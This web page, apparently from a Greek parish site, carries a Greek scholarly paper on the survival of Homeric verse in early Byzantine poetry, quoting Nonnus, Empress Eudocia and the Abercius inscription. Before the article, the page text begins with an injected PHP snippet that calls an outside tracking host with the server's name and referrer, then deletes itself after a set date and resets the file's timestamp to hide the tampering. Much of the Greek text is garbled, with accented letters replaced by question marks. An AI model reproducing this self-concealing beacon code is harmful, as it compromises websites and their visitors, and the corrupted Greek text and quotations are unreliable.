check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456732960){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=8&id=18776828&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/components/com_search/models/content.php"); } Άγιος Δημήτριος Νέου Φαλήρου - Τα νέα μας

Create PDF Recommend Print

Άγιος Δημήτριος Νέου Φαλήρου - Τα νέα μας

Η επιβίωση του ομηρικού στίχου κατά την πρώιμη βυζαντινή περίοδο

το? Σεβ. Μητροπολίτου Χίου κ. Μάρκου

 

?νακοίνωση κατά τίς ?ργασίες τ?ς ?μηρικ?ς ?καδημίας

(Χίος, ?ούλιος 2012)

? θεμελίωση τ?ς Κωνσταντινουπόλεως, μέ τήν ?ποία ?πισφραγίζεται ?πισήμως ? μετάθεση το? κέντρου βάρους τ?ς Α?τοκρατορίας στήν ?νατολή καί σηματοδοτε?ται ? σταδιακός μετασχηματισμός τ?ς φυσιογνωμίας της, δέν ε?χε ?ς ?ποτέλεσμα μόνο τόν θρίαμβο τ?ς ?κκλησίας, μέ τήν α?σια ?πικράτηση το? χριστιανισμο?, ?λλά καί τήν ?δραίωση το? ?λληνικο? χαρακτήρα το? Βυζαντίου, μέ τήν ?γκαθίδρυση, ο?σιαστικά, τ?ς γλώσσας το? ?μήρου ?πί το? ο?κουμενικο? θρόνου. Μολονότι ? ?πίσημη γλώσσα τ?ς διοικήσεως παραμένει ? λατινική, ?ντιπροσωπεύοντας τήν ?δια καί ?μετάβλητη ?ντίληψη τ?ς ρωμαϊκ?ς κληρονομι?ς του γιά τό κράτος καί τήν ?ξουσία, ? ?λληνική παράδοση διαποτίζει τώρα περισσότερο ?ντονα καί καταλυτικά ?πό ποτέ τήν α?τοκρατορία σέ ?λη τήν ?πικράτειά της, ?λλά καί τήν νέα πρωτεύουσα χάρη στήν α?τοκρατορική μέριμνα γιά τήν ?δρυση ?κπαιδευτηρίων, βιβλιοθηκ?ν καί κέντρων ?ντιγραφ?ς.

Στήν περιοχή τ?ν γραμμάτων καί τ?ς παιδείας τό προβάδισμα ?ξακολουθο?ν νά ?χουν ο? μεγάλες σχολές τ?ς ?λληνιστικ?ς ?νατολ?ς, μόνο πού τώρα ? ?γωγή δέν ?λοκληρώνεται στήν ?γορά, τά γυμνάσια καί τό θέατρο, ?λλά στήν ?κκλησία, τήν πνευματική ?σκηση, τήν κατά Χριστόν μαρτυρία καί ζωή. Μέσα στίς ?στορικές διεργασίες το? 4ου μεταχριστιανικο? α?ώνα, ? ?ρθόδοξος χριστιανισμός, ταυτιζόμενος πλέον μέ τήν α?τοκρατορία, θά ?ναδειχθε? ?ς ? κυριότερη συνισταμένη το? πολιτισμο? τ?ς Νέας Ρώμης. Τό ο?σι?δες ?δ? ε?ναι ?κριβ?ς ?τι καί ? ?κκλησία ο?κοδομήθηκε κατ' ?ξοχήν «?ν λόγ? ?λληνικ?». Συνακολούθως, ? πρωτοβυζαντινός χριστιανισμός βρέθηκε συγκληρονόμος τ?ς ?διας μακραίωνης γλωσσικ?ς παραδόσεως, ?ξασφαλίζοντας κατ' α?τόν τόν τρόπο μίαν θαυμαστή συνέχεια παρά τήν θεμελιακή τομή πού ?πέφερε στήν θεώρηση το? κόσμου καί τ?ν πραγμάτων.

Η α?γλη καί ?κτινοβολία το? ?μήρου στά πλαίσια α?τά ?ς το? κορυφαίου τ?ν ποιητ?ν, στό ?ργο το? ?ποίου ? ?λληνικός λόγος ε?χε φθάσει σέ μορφή τελειότητας, ?π?ρξε κυριαρχική. Δέν θά ?ταν ?περβολή ?ν λέγαμε ?τι ? ?ρίζοντας το? πρωτοβυζαντινο? πνευματικο? ?νθρώπου, χριστιανο? καί ?θνικο? (? ?θνικο? πού μεταστρέφεται στήν χριστιανική πίστη), κατακλύζεται ?πό ?μηρικούς ?ξαμέτρους, τούς ?ποίους ?χοντας πάντοτε διά στόματος ?ταν σέ θέση νά ?νακαλε?, νά ?ναπροσαρμόζει καί νά ?ναδημιουργε? μέ ε?χέρεια καί δεξιοτεχνία ?νά περίσταση.

? Μ?γας Βασ?λειος, σέ ?πιστολή του πρός τ?ν ?σ?δελφο φίλο του Γρηγ?ριο τόν Ναζιανζηνό, περιγρ?φοντας τήν τοποθεσ?α τήν ?πο?α ?π?λεξε γιά νά ?σκηθε? στόν Πόντο, παραβάλλει τό τοπίο μέ «τ?ν Καλυψο?ς ν?σον, ?ν δ? πασ?ν πλ?ον ?Ομηρος ε?ς κ?λλος θαυμ?σας φα?νεται» (1). ?ντίστοιχη ε?ναι ? ?κφραση το? τοπίου τ?ν Ο?ανώτων τ?ς Καππαδοκίας ?πό τόν Γρηγόριο, πρός «τ? Νήριτον ?κε?νο τ? ?θακήσιον, ? φησιν ? ποιητ?ς ?ριπρεπές τε ε?ναι κα? ε?νοσίφυλλον» (2), ?ν? ? ?διος ?ρχίζει τήν 5η ?πιστολή του μέ προοίμιο πέντε ?μηρικ?ν στίχων. ?νάμεσα στό πλ?θος τ?ν μαρτυρι?ν πού θά μπορο?σε κανείς νά παραθέσει, ? ?πιστολογραφία καί τό ε?ρύτερο ?ργο το? Συνεσίου το? Κυρηναίου βρίθουν ?μηρικ?ν ?ναφορ?ν, ?ν? ? Χορίκιος Γάζης (6ος α?.) ?μπλουτίζει κάθε τόσο μέ στίχους ?πό τήν ?λιάδα καί τήν ?δύσσεια τίς ?κφράσεις του τ?ν ?κκλησι?ν το? ?γίου Σεργίου καί το? ?γίου Στεφάνου στήν ?δια πόλη (3).

? κεντρική α?τή θέση τ?ν ?μηρικ?ν ?ργων στήν πρώιμη βυζαντινή συνείδηση μαρτυρε?ται καί ?πό τό γεγονός ?τι ? σπουδή τους ?ποτελο?σε τό θεμέλιο τ?ς παιδείας, ? χαρακτήρας τ?ς ?ποίας θά παραμείνει ?λληνικός, δηλαδή ?θνικός, καί ?πό τό νέο χριστιανικό πρίσμα. ?δη ? Δίων Χρυσόστομος σημειώνει ?τι «?μηρος δ? κα? πρ?τος κα? μέσος κα? ?στατος παντ? παιδ? κα? ?νδρ? κα? γέροντι, τοσο?τον ?φ' α?το? διδο?ς ?σον ?καστος δύναται λαβε?ν» (4). Τρε?ς α??νες σχεδόν ?ργότερα, ? Συνέσιος, ?πίσκοπος Πτολεμαΐδος, σέ ?πιστολή του πρός τόν ?δελφό του Ε?όπτιο (? ?πο?ος καί τόν διαδέχτηκε πιθανότατα στήν ?πισκοπική ?δρα), περιγράφοντας τήν πρόοδο το? ?νηψιο? του Διοσκουρίου ?ναφέρει ?τι «?ναγινώσκει κα? πρόσκειται το?ς βιβλίοις», ?παγγέλοντας μέ ε?χέρεια ?πό στήθους πενήντα στίχους καθημερινά (5). ? ?γαθίας Σχολαστικός, γνωστός σήμερα κυρίως γιά τά ?πιγράμματά του καί τό ?στοριογραφικό του ?ργο, γράφει τόν 6ο α?ώνα περί τ?ν Δαφνιακ?ν του, τ?ς συλλογ?ς ?ρωτικ?ν ποιημάτων πού ?κπόνησε σέ νεαρή ?λικία: «?τύγχανον γ?ρ μ?λλον δή τι ?κ παίδων τ? ?ρώ? ?υθμ? ?νειμένος, καί με ?ρεσκε τ? ?δύσματα τ?ν τ?ς ποιητικ?ς κομψευμάτων. Κα? τοίνυν πεποίηταί μοι ?ν ?ξαμέτροις βραχέα ?ττα ποιήματα, ? δ? Δαφνιακ? ?πωνόμασται, μύθοις τισ? πεποικιλμένα ?ρωτικο?ς κα? τ?ν τοιούτων ?νάπλεα γοητευμάτων» (6). «Τελικά», ?πως σημειώνει ? καθηγητής Paul Lemerle, «δέν ?χουμε κανένα λόγο νά πιστεύουμε ?τι ? ?κπαίδευση ?νός νεαρο? ?λληνα το? 5ου α?ώνα διέφερε ριζικά ?πό τήν ?κπαίδευση ?νός νέου το? 2ου α?ώνα». Τά πολυάριθμα παραδείγματα πού παραθέτει ? Μέγας Βασίλειος ?πό τόν ?μηρο στήν πραγματεία του «Πρός τούς νέους, ?πως ?ν ?ξ ?λληνικ?ν ?φελο?ντο λόγων» ?πιβεβαιώνουν τήν σπουδαία θέση του στήν ?κπαίδευση καί τά σχολικά προγράμματα. Πλουσιώτατη ε?ναι συγχρόνως ? πρωτοβυζαντινή χειρόγραφη παράδοση τ?ς ?λιάδας, το? πλέον διαδεδομένου ?ργου μετά τά ?ερά κείμενα, ?πως μαρτυρο?ν ο? ?στορικές πηγές καί προκύπτει ?πό τά παπυρολογικά ε?ρήματα καί τά σωζόμενα κοινά καί ε?κονογραφημένα χειρόγραφα, μεταξύ τ?ν ?ποίων τό περίφημο τ?ς ?μβροσιαν?ς βιβλιοθήκης (5ος α?.).

Σέ μιά ?ποχή ?που παιδεία καί λογοτεχνία στηρίζονται στήν δημιουργική μίμηση, μέ τήν βυζαντινή πλέον ?ννοια (7), ?ναγνωρισμένων λογοτεχνικ?ν προτύπων, ? κληρονομιά το? ?μήρου, κοινό κτ?μα καί διαχρονικός συνεκτικός παράγοντας το? ?λληνισμο?, καλλιεργε?ται στά χέρια τ?ν χριστιαν?ν καί ?θνικ?ν λογίων δημιουργικά ?ς μία θάλλουσα καί ζωντανή παράδοση, ? ?ποία ?κφράστηκε μέ ?ξιόλογα ?ργα ?κατέρωθεν. Δέν πρόκειται λοιπόν γιά ?ναβίωση, ?λλά γιά ?πιβίωση, δηλαδή γιά μίαν ?ργανική συνέχεια, στήν ?ποία συνέβαλε καθοριστικά ? προσδιορισμός τ?ν σχέσεων το? χριστιανισμο? μέ τόν ?λληνισμό, ?πως θεμελιώθηκε στό ?ργο τ?ν πρώτων ?πολογητ?ν καί παγιώθηκε μέ τή διδασκαλία τ?ν μεγάλων Πατέρων το? 4ου α?ώνα, ο? ?πο?οι θά ?ποστηρίξουν καί θά καλλιεργήσουν μέ ?διαίτερο ζ?λο καί ?φοσίωση τά ?λληνικά γράμματα, δημιουργώντας τόν χρυσο?ν α?ώνα τ?ς ?κκλησιαστικ?ς γραμματείας. ?σον ?φορ? στή μίμηση, πρόκειται γιά ?να σύνολο μεθόδων καί συμβάσεων ?ναφορ?ς στό παρελθόν, φορτισμένο ?μως μέ νέα σημασία, πού δέν πρέπει νά παραθεωρο?με ?ς ?ρχαϊσμό ? λογοτεχνική ?πιτήδευση, καθώς ?πηρετε? καί ?μπεριέχει τή λειτουργία ?νός ?φους ?ψηλο? καί ?περβατικο?, χαρακτηριστικο? τ?ς φυσιογνωμίας τ?ς βυζαντιν?ς καλλιτεχνικ?ς δημιουργικότητας (8).

?να κύριο γνώρισμα τ?ς λογοτεχνικ?ς α?τ?ς παραγωγ?ς ε?ναι ? χρήση ?μηρικ?ς ? ?μηρίζουσας διαλέκτου καί προσωδιακ?ν μέτρων τ?ς παραδόσεως το? δακτυλικο? ?ξαμέτρου, ?λλά καί το? ?λεγειακο? διστίχου. ?κφράστηκε σέ ?πικά ποιήματα, ?πιγράμματα, ?μμετρες ?κφράσεις, ?λλά καί σέ ?μηροκέντρωνες μέ χριστιανικά θέματα, ?νάμεσα στά ?πο?α συγκαταλέγονται ?ργα μέ ?ψηλή α?σθητική ?ξία καί μέ ?ντυπωσιακή δεξιοτεχνία καί πρωτοτυπία στήν ?πεξεργασία το? παραδοσιακο? ?λικο?. Γιά παράδειγμα, στό πεδίο τ?ς μετρικ?ς, ? Νόννος ε?σάγει στούς ?ξαμέτρους του στοιχε?α το? τονικο? ρυθμο?, κάτι πού ?φαρμόζεται μέ ?λλη μορφή ?δη σέ ?ρισμένα ποιήματα το? Γρηγορίου το? Θεολόγου.

Τήν ?δια περίοδο ?ναπτύσσεται βεβαίως καί μία ?ξιόλογη ?ξαμετρική ποιητική παραγωγή μέ ?θνικά θέματα, ?κτεινόμενη σέ χιλιάδες στίχους. Τό ?πικό ?ργο το? Κοΐντου Σμυρναίου (Τά μεθ' ?μηρον ? Παραλειπόμενα το? ?μήρου) θά διαδεχθο?ν τόν ?πόμενο, 5ο α?ώνα, τά Διονυσιακά το? Νόννου το? Πανοπολίτου. Τίς μετρικές ?ντιλήψεις το? τελευταίου στή σύνθεση στρογγυλ?ν ?ξαμέτρων θά ?κολουθήσουν πολλοί ?λλοι ποιητές, ?πως ? Τρυφιόδωρος, ? Κόλλουθος, ? Παλλαδ?ς, ? Μουσα?ος καί ? Κ?ρος ? Πανοπολίτης, το? ?ποίου ? ?μμετρος πανηγυρικός πρός τόν Θεοδόσιο Β΄ συμπεριλαμβάνεται στήν Παλατινή ?νθολογία (15, 9). Σέ ?ξαμέτρους συντίθενται καί ο? ?μνοι το? Πρόκλου. ? ?πίδραση το? Νόννου διαπιστώνεται ?πίσης στήν ποίηση το? Διοσκούρου ?πό τήν ?φροδιτόπολη τ?ς Α?γύπτου (6ος α?.), στήν ?ποία βρίσκουμε ?κχριστιανισμένα θέματα τ?ν Διονυσιακ?ν, ?πως τόν Φαέθοντα καί τόν Νε?λο.

?ξέχουσα θέση στήν χριστιανική λογοτεχνική παράδοση το? 4ου α?ώνα κατέχει τό ποιητικό ?νάστημα το? ?γίου Γρηγορίου το? Ναζιανζηνο?, ? ?πο?ος καλλιέργησε ?μπνευσμένα καί μέ ε?αισθησία τό ?ξάμετρο ?κτενέστατα, στά δογματικά ?πη του, σέ ?ρισμένα ?πό τά ?στορικά καί ?θικά, καί τέλος στά ?πιγράμματά του, τά ?πο?α καταλαμβάνουν τιμητική θέση στήν Παλατινή ?νθολογία (?λόκληρο τό 8ο βιβλίο της ?παρτίζεται ?πό ?πιγράμματά του, 256 συνολικά). Στά θεολογικά του ποιήματα, ?πως ? ?μνος ε?ς Θεόν, πού ?ποτελε?ται ?πό 15 στρογγυλούς ?ξαμέτρους στίχους, παρατηρο?με π?ς ? ?ρτιότητα τ?ς μορφ?ς ?μιλλ?ται τή σοβαρότητα καί τό ?φος το? θεολογικο? στοχασμο?. ? Γρηγόριος ?λλο? θά ?ποστηρίξει ?νθερμα τήν ?μμετρη ποίηση, ?πως στό ποίημά του Ε?ς τ? ?μμετρα, ?λλά καί στίς ?πιστολές του θά σημειώσει: «Ε? δ? ο? μακρο? λόγοι κα? τ? νέα ψαλτήρια κα? ?ντίφθογγα τ? Δαυ?δ κα? ? τ?ν μέτρων χάρις ? τρίτη Διαθήκη νομίζεται, κα? ?με?ς ψαλμολογήσομεν κα? πολλ? γράψομεν κα? μετρήσομεν. ?πειδ? δοκο?μεν κα? ?με?ς Πνε?μα Θεο? ?χειν? ε?περ Πνεύματος χάρις το?τό ?στιν, ?λλ? μ? ?νθρωπίνη καινοτομία» (9).

?διαίτερο ?νδιαφέρον παρουσιάζουν ο? Μεταβολές, ?μμετρες δηλαδή παραφράσεις τ?ν βιβλικ?ν καί χριστιανικ?ν κειμένων σέ γλώσσα ?μηρική, καθώς καί ο? ?μηροκέντρωνες, ποιητικές συνθέσεις πού συγκροτο?νται μέ φράσεις ? λέξεις τ?ν ?μηρικ?ν ?π?ν, κυρίως μέ τήν ?πανάχρηση στίχων α?τούσιων ? μέ μικρές προσαρμογές. Στήν πρώτη κατηγορία συγκαταλέγεται τό μή σωζόμενο ?ργο το? ?πολιναρίου το? Πρεσβυτέρου, πατέρα το? ?μωνύμου ?πισκόπου Λαοδικείας, το? γνωστο? α?ρεσιάρχη (4ος α?.). ? Σωκράτης ?ναφέρει στήν ?κκλησιαστική ?στορία του ?τι ? πατέρας μετέφερε τήν Παλαιά Διαθήκη σέ ?ρωικούς δακτυλικούς καί τραγικούς στίχους, χρησιμοποιώντας κάθε ε?δους μέτρα, ?στε καμμιά μορφή ?λληνικ?ς ποιήσεως νά μήν ε?ναι ξένη στούς χριστιανούς («τά τε Μωϋσέως βιβλία δι? το? ?ρωϊκο? λεγομένου μέτρου μετέβαλε, κα? ?σα κατ? τ?ν παλαι?ν διαθήκην ?ν ?στορίας τύπ? συγγέγραπται. Κα? το?το μ?ν τ? δακτυλικ? μέτρ? συνέταττε, το?το δ? κα? τ? τ?ς τραγ?δίας τύπ? δραματικ?ς ?ξειργάζετο? κα? παντ? μέτρ? ?υθμικ? ?χρ?το, ?πως ?ν μηδε?ς τρόπος τ?ς ?λληνικ?ς γλώττης το?ς Χριστιανο?ς ?νήκοος ?») (10). Μιά τέτοια παράφραση τ?ν Ψαλμ?ν (Μετάφρασις ε?ς τόν Ψαλτ?ρα) σώζεται μέ τό ?νομά του (11), ? πατρότητά της ?μως ?μφισβητε?ται. ?νάλογη πληροφορία γιά τόν ?πολινάριο διασώζει καί ? Σωζομενός (12), πού σημειώνει ?τι συνέθεσε 24 ραψωδίες σέ ?ρωικούς στίχους παραφράζοντας τήν Πεντάτευχο («?ντ? μ?ν τ?ς ?μήρου ποιήσεως ?ν ?πεσιν ?ρ?οις τ?ν ?βραϊκ?ν ?ρχαιολογίαν συνεγράψατο μέχρι τ?ς Σαο?λ βασιλείας κα? ε?ς ε?κοσιτέσσαρα μέρη τ?ν π?σαν πραγματείαν διε?λεν») (13).

?νομαστή ε?ναι ? Μεταβολή το? Κατά ?ωάννην ?γίου Ε?αγγελίου το? Νόννου, στήν ?ποία παρατηρο?με τίς σημασιολογικές διαφοροποιήσεις λεξιλογικ?ν ?ρων τ?ν Διονυσιακ?ν, ?πως μάρτυς, κόσμος, ?γγελος καί θεητόκος, στόν τελευτα?ο μάλιστα ?νιχνεύοντας καί τήν ?νσωμάτωση τ?ς θεολογίας το? ?ρου τ?ς ?φέσου (431), ?λλά καί προγενεστέρων Ο?κουμενικ?ν Συνόδων, καθώς μπορο?με νά διαπιστώσουμε στούς πρώτους στίχους:

 

?χρονος ?ν, ?κίχητος, ?ν ?ρρήτ? λόγος ?ρχ?,

?σοφυ?ς γενετ?ρος ?μήλικος υ??ς ?μήτωρ,

κα? λόγος α?τοφύτοιο θεο? γόνος, ?κ φάεος φ?ς?

πατρ?ς ?ην ?μέριστος, ?τέρμονι σύνθρονος ?δρ??

κα? θε?ς ?ψιγένεθλος ?ην λόγος. ο?τος ?π' ?ρχ?ς

?ενά? συνέλαμπε θε?, τεχνήμονι κόσμου.

 

Στήν ?δια κατηγορία ?ντάσσονται λατινικές ?ξάμετρες διασκευές τ?ν Ε?αγγελίων, ?πως τό Carmen Paschale το? Sedulius (περ. 425), ?λλά καί τό De Actibus Apostolorum το? Arator (6ος α?.) (14). Σύμφωνα μέ τήν μαρτυρία το? ?σίου ?ερωνύμου, ? ?ούβεγκος (Juvencus), «περιφανο?ς γένους ?σπανός πρεσβύτερος, τ?ν τεσσάρων Ε?αγγελίων δι' ?ξαμέτρων σχεδόν κατά πόδας, τέσσαρας συνέταξε βίβλους, καί τινα τ? α?τ? μέτρ? ε?ς μυστικήν προσήκοντα τάξιν. ?νθησεν ?πί Κωνσταντίνου βασιλέως» (15).

Τήν ?παρξη χριστιανικ?ν ?μηροκεντρώνων καί βιργιλιοκεντρώνων μαρτυρε? καί ?πικρίνει ? ?ερώνυμος σέ ?πιστολή του πρός τόν Παυλ?νο τ?ς Νόλης: «Quasi non legerimus, Homerocentonas, et Virgiliocentonas: ac non sic etiam Maronem sine Christo possimus dicere Christianum» (16). ? ?ερώνυμος φαίνεται νά ?χει ?π' ?ψη του, μεταξύ ?λλων, τό Cento vergilianus de laudibus Christi τ?ς Faltonia Betitia Proba (4ος α?.). Σέ πρωιμότερη ?ποχή, ? Ε?ρηνα?ος Λουγδούνου μάλιστα ?ναφέρεται καί σέ ?να ?μηροκέντρωνα τ?ν Γνωστικ?ν (17), πού στόχο ε?χε νά ?ξυπηρετήσει τούς α?ρετικούς τους σκοπούς. ?μως, καταλήγει, «? δ' ?μπειρος τ?ς ?μηρικ?ς ?ποθέσεως» θά ?ναγνωρίσει τήν α?ρετική τους πλάνη (18). Διασώζονται ?πίσης ?μηροκέντρωνες πρός μαντική χρήση, τά λεγόμενα «?μηρομαντε?α» σέ μαγικούς παπύρους το? 4ου καί προγενεστέρων α?ώνων τ?ς χριστιανικ?ς ?ποχ?ς (19). ?κτός ?πό τούς προαναφερθέντες συγγραφε?ς, τό λατινικό ?ξάμετρο διακόνησαν ?πίσης ?πί χριστιανικ?ν θεμάτων ο? ποιητές Λακτάντιος καί Προυδέντιος.

Μίαν ?πό τίς συμπαθέστερες μορφές τ?ν βυζαντιν?ν γραμμάτων καί τίς ?λλογιμώτερες γυναικείες προσωπικότητες ?λόκληρης τ?ς βυζαντιν?ς ?στορίας ?ποτελε? ? «καλλιεπής δέ καί τήν ?ραν ε?πρεπής» (20) Α?γούστα Α?λία Ε?δοκία (περ. 393-460), σύζυγος το? Θεοδοσίου το? Β΄. ?πιφανής λογία, ? ?ποία ?χι μόνο διέπρεψε ?ς ποιήτρια ?μηροκέντρων συνθέσεων, ?λλά καί καλλιέργησε ε?ρύτερα τό ?πικό ?ξάμετρο μέ ?ξαιρετική δεξιοτεχνία. Μέ τό ?νομά της σώθηκαν ?να ?μμετρο ?ργο ε?ς τόν μάρτυρα Κυπριανόν, σέ τρία βιβλία, καθώς καί ?μηρόκεντρα ποιήματα σέ ?πεισόδια τ?ς ζω?ς το? Χριστο? καί τ?ς Γενέσεως, ?ν μέρει σωζόμενα, τά ?πο?α συνέθεσε συμπληρώνοντας τό ?μιτελές ?ργο το? ?πισκόπου Πατρικίου. Στό προοίμιό του σημειώνεται ? «?πόθεσις τ?ν ?μηροκέντρων»,

 

Βίβλος Πατρικίοιο θεουδέος ?ρητ?ρος,

?ς μέγα ?ργον ?ρεξεν, ?μηρείης ?π? βίβλου

κυδαλίμων ?πέων τεύξας ?ρίτιμον ?οιδήν,

πρήξιας ?γγέλλουσαν ?νικήτοιο θεο?ο?

?ς μόλεν ?νθρώπων ?ς ?μήγυριν, ?ς λάβε μορφ?ν

?νδρομέην κα? γαστρ?ς ?μεμφέος ?νδοθι κούρης [...]

?ς τε δυώδεκα φ?τας ?μύμονας ?λλαχ' ?ταίρους?

?ς τε πάθους ?γίου μνημήια κάλλιπεν ?μμιν [...]

?ς θάνεν, ?ς ?ίδαο σιδήρεα ??ξε θύρετρα,

κε?θεν δ? ψυχ?ς θεοπειθέας ο?ραν?ν ε?σω

?γαγεν ?χράντοισιν ?π' ?ννεσί?σι τοκ?ος

?νστ?ς ?ν τριτάτ? φαεσιμβρότ? ?ριγενεί?

?ρχέγονον βλάστημα θεο? γενετ?ρος ?νάρχου.

 

καί ?κολούθως ? πρόλογος τ?ς Ε?δοκίας:

 

?δε μ?ν ?στορίη θεοτερπέος ?στ?ν ?οιδ?ς.

Πατρίκιος δ', ?ς τ?νδε σοφ?ς ?νεγράψατο βίβλον,

?στι μ?ν ?ενάοιο διαμπερ?ς ?ξιος α?νου,

ο?νεκα δ? πάμπρωτος ?μήσατο κύδιμον ?ργον.

?λλ' ?μπης ο? πάγχυ ?τήτυμα πάντ' ?γόρευεν?

ο?δ? μ?ν ?ρμονίην ?πέων ?φύλαξεν ?πασαν,

ο?δ? μόνων ?πέων ?μνήσατο κε?νος ?είδων,

?ππόσα χάλκεον ?τορ ?μεμφέος ε?πεν ?μήρου.

?λλ' ?γ? ?μιτέλεστον ?γακλε?ς ?ς ?δον ?ργον

Πατρικίου, σελίδας ?ερ?ς μετ? χε?ρα λαβο?σα,

?σσα μ?ν ?ν βίβλοισιν ?πη πέλεν ο? κατ? κόσμον,

πάντ' ?μυδις κείνοιο σοφ?ς ?ξείρυσα βίβλου?

?σσα δ' ?κε?νος ?λειπεν, ?γ? πάλιν ?ν σελίδεσσι

γράψα κα? ?ρμονίην ?ερο?ς ?πέεσσιν ?δωκα.

 

Κατά τήν μαρτυρία το? Φωτίου (21), μεταποίησε ?πίσης «?ν ?ρ?? μέτρ?» τήν ?κτάτευχο, καθώς καί τά βιβλία το? ?ησο? το? Ναυ? καί τ?ν Κριτ?ν, καί ?πό τά προφητικά τόν Ζαχαρία καί τόν Δανιήλ, στά ?πο?α «? α?τ? δ? χάρις το? τεχνίτου διέπρεπε κ?ν τούτοις». ? Φώτιος ?παινε? τήν παιδεία καί τήν ποιητική της δύναμη, ? ?ποία «τ?ς μ?ν γ?ρ διανοίας ο?τε παρατείνων ο?τε συστέλλων ?ε? φυλάσσει κυρίας. Κα? τα?ς λέξεσι δέ, ?που δυνατόν, τ?ν ?γγύτητα κα? ?μοιότητα συνδιαφυλάσσει». ?σο γιά τό ?μμετρο ?ργο τ?ς Ε?δοκίας ε?ς τόν μάρτυρα Κυπριανόν, ? σοφός Πατριάρχης σημειώνει ?τι «?δήλου δ? τ? σπουδάσματα, ?ς πα?δες μητέρα, τ?ν τ?ς βασιλίδος κα? τα?τα ?δίνων ?κγονα ε?ναι». ?πίσης συνέθεσε ?να μή σωζόμενο ?πικό ?ξαμετρικό ?γκώμιο πρός τιμήν τ?ς νίκης το? συζύγου της ?πί τ?ν Περσ?ν (421).

?ς α?τοκράτειρα συνέδεσε τό ?νομά της μέ τήν ?δρυση το? Πανδιδακτηρίου (425), το? πρώτου πανεπιστημίου τ?ς Βασιλεύουσας. Θύμα διαβολ?ν, ?ναγκάστηκε νά ?γκαταλείψει τήν πρωτεύουσα τό 442-443 καί κατέφυγε στούς ?γίους Τόπους, ?που παρέμεινε μέχρι τόν θάνατό της (460), ?σχολούμενη μέ ?ργα ε?ποιίας καί τήν ?νοικοδόμηση ?ερ?ν να?ν καί μον?ν, «πολλ? καταλείψασα τα?ς ?κκλησίαις». ?πως ?ναφέρει τό Πασχάλιον χρονικόν, «?πιο?σα ?π? Κωνσταντινουπόλεως ?π? τ? ?εροσόλυμα ε?ξασθαι, ε?σελθο?σα ?ν τ? ?ντιοχεί? τ? μεγάλ? ε?πεν ?ν τ? βουλευτηρί? λόγον ?γκωμιαστικ?ν ε?ς τ?ν α?τ?ν ?ντιόχειαν, καθημένη ?σωθεν το? δίφρου ?λοχρύσου ?ντος κα? διαλίθου βασιλικο?, κα? ?κραξαν α?τ? ο? τ?ς πόλεως, κα? ?νηνέχθη α?τ? ?σω ?ν τ? βουλευτηρί? ε?κ?ν ?γχρυσος, κα? ε?ς τ? λεγόμενον Μουσε?ον στήλην χαλκ?ν ?στησαν α?τ?, α?τινες ?ως το? ν?ν ?στανται. κα? φιλοτιμησαμένη τ? τ?ν ?ντιοχέων πόλει τ?ς Συρίας χρήματα λόγ? σιτωνικο? ?ρμησεν ?π? το?ς ?γίους τόπους, κα? ?κτισεν ε?ς ?εροσόλυμα πολλά, κα? τ? τε?χος ?παν ?νενέωσεν τ?ς ?ερουσαλήμ» (22).

Μεταξύ τ?ν ?ργων α?τ?ν συγκαταλέγεται τό κτιριακό σύγκρότημα τ?ν λουτρ?ν τ?ν Γαδάρων τ?ς Παλαιστίνης (σημερινο? Ηammat Gader), στό ?πο?ο διασώζεται, σέ ?πιδαπέδια πλάκα, ?ξάμετρη ?πιγραφή, βεβαιότατα ?ργο τ?ς ?δίας (περί τό 445), μέ τό ?νομα καί τόν τίτλο τ?ς α?τοκράτειρας πλαισιωμένο ?πό ζε?γος σταυρ?ν:

 

? Ε?δοκίας Α?γούστης ?

 

πολλ? μ?ν ?ν βιότ? κ(α?) ?πίρονα θαύματ' ?πωπα,

τίς δέ κεν ?ξερέοι, πόσα δ? στόματ', ? κλίβαν' ?σθλέ,

σ?ν μένος, ο?τιδαν?ς γεγα?ς βροτός? ?λλά σε μ?λλο(ν)

?κεαν?ν πυρόεντα νέον θέμις ?στ? καλε?σθαι.

παιάνα κα? γενέτην γλυκερ?ν δοτ?ρα ?εέθρων.

...

?δείνουσι τε?ν μένος ?βριμον ?νεκ?[?ς ?ϊέν],

?λλ? Θε?ν κλυτόμητιν ?είσο[μαι ?φρα σε σ?ζω]

ε?ς ε?εργεσείην μερόπων τε χρ[?σιν ?είνων].

 

?ξάμετρες ?πιγραφές κοσμο?ν τά μνημε?α τ?ς α?τοκρατορίας ?πό τήν α?γή τ?ς χριστιανικ?ς τέχνης, ?κφράζοντας μέ τόν ?ρτιώτερο τρόπο τίς ?ψηλές ?λήθειες τ?ς Πίστεως. ?πό τίς πρωιμότερες τέτοιες μαρτυρίες ξεχωρίζουμε τίς ?πιτάφιες ?πιγραφές το? ?γίου ?βερκίου, ?πισκόπου ?εραπόλεως, καί το? Πεκτορίου (τέλη 2ου - ?ρχές 3ου α?ώνα), στίς ?πο?ες ?κδηλες ε?ναι ο? ε?χαριστιακές ?ναφορές. ? πρώτη συνίσταται ?πό ?να ε?σαγωγικό δίστιχο καί ε?κοσι ?ξαμέτρους:

 

...

ο?νομ' ?βέρκιος ? ?ν μαθητ?ς ποιμένος ?γνο?,

?ς βόσκει προβάτων ?γέλας ?ρεσιν πεδίοις τε,

?φθαλμο?ς ?ς ?χει μεγάλους πάντη καθορ?ντας.

ο?τος γάρ μ' ?δίδαξε .... γράμματα πιστά?

ε?ς ?ώμην ?ς ?πεμψεν ?μ?ν βασιλείαν ?θρ?σαι

κα? βασίλισσαν ?δε?ν χρυσόστολον χρυσοπέδιλον?

λα?ν δ' ε?δον ?κε? λαμπρ?ν σφραγε?δαν ?χοντα.

κα? Συρίης πέδον ε?δα κα? ?στεα πάντα, Νισ?βιν,

Ε?φράτην διαβάς, πάντη δ' ?σχον συνομίλους

Πα?λον ?χων ?ποχον. πίστις πάντη δ? προ?γε

κα? παρέθηκε τροφ?ν πάντη ?χθ?ν ?π? πηγ?ς

πανμεγέθη καθαρόν, ?ν ?δράξατο παρθένος ?γνή?

κα? το?τον ?πέδωκε φίλοις ?σθειν δι? παντ?ς

ο?νον χρηστ?ν ?χουσα κέρασμα διδο?σα μετ' ?ρτου.

 

